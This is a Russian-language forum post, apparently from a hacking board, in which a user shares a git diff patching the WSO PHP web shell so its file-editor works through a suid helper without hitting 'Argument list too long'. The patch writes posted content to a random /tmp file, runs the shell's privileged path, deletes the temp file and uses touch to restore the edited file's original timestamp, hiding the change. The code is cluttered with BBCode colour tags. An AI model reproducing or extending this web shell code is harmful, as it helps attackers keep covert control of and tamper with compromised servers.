
09.01.2013, 04:01
|
|
Участник форума
Регистрация: 06.06.2008
Сообщений: 162
Провел на форуме: 3942177
Репутация:
244
|
|
Сообщение от tmp
А файлы редактировать можешь? Исправлял в исходнике яваскрипт? Там ошибка, в оригинальном файле.
Проблема в том, что к suid'нику передается сильно длинный параметр. И запрос выдает "Argument list too long".
Решение которое пришло первым в голову (на сколько стабильно работает не знаю):
PHP код:
[COLOR="#000000"][COLOR="#0000BB"] diff[/COLOR][COLOR="#007700"]--[/COLOR][COLOR="#0000BB"]git a[/COLOR][COLOR="#007700"]/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]orig[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php b[/COLOR][COLOR="#007700"]/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]mod[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
index eb36bb8[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"].0aebf2c 100644
[/COLOR][COLOR="#007700"]---[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]orig[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]+++[/COLOR][COLOR="#0000BB"]b[/COLOR][COLOR="#007700"]/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]mod[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]@@ -[/COLOR][COLOR="#0000BB"]104[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]104[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]@@ if([/COLOR][COLOR="#0000BB"]get_magic_quotes_gpc[/COLOR][COLOR="#007700"]()) {
if (!empty([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'sname'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'spass'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'sname'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]&& ![/COLOR][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'suid'[/COLOR][COLOR="#007700"])) {
+if([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p2'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'edit'[/COLOR][COLOR="#007700"]&& !empty([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]])){
+[/COLOR][COLOR="#0000BB"]$tmp_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/tmp/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_shuffle[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'0123456789abcdefghijklmnopqrstuvwxyz'[/COLOR][COLOR="#007700"]);
+
+[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]) or die([/COLOR][COLOR="#DD0000"]'/tmp/ isn\'t writable.'[/COLOR][COLOR="#007700"]);
+
+[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$tmp_path[/COLOR][COLOR="#007700"];
+}
echo[/COLOR][COLOR="#0000BB"]wsoEx[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'sname'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'spass'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]' "'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'sphp'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'SCRIPT_FILENAME'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]' \''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]])]).[/COLOR][COLOR="#DD0000"]'\' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'\''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$GLOBALS[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]'\'"'[/COLOR][COLOR="#007700"]);
@@ -[/COLOR][COLOR="#0000BB"]963[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]970[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]14[/COLOR][COLOR="#007700"]@@ function[/COLOR][COLOR="#0000BB"]actionFilesTools[/COLOR][COLOR="#007700"]() {
echo[/COLOR][COLOR="#DD0000"]'File isn\'t writeable'[/COLOR][COLOR="#007700"];
break;
}
+
if( !empty([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]) ) {
[/COLOR][COLOR="#0000BB"]$time[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]filemtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p1'[/COLOR][COLOR="#007700"]]);
-[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p1'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"w"[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]) {
- @[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]);
+ @[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'suid'[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]) :[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]),[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]));
@[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);
+ if([/COLOR][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'suid'[/COLOR][COLOR="#007700"])) @[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]);
echo[/COLOR][COLOR="#DD0000"]'Saved! p3_="";'[/COLOR][COLOR="#007700"];
@[/COLOR][COLOR="#0000BB"]touch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p1'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$time[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$time[/COLOR][COLOR="#007700"]);
}
[/COLOR][/COLOR]
https://gist.github.com/c52be259912a3123b2f1
Естественно нужны права на запись в /tmp/, можно было и иначе, просто переносить из /tmp/ используя mv, но делать лень.
Еще как вариант можно разделять запросы на части, но это будет сильно затратно в плане выделения памяти.
|
|
|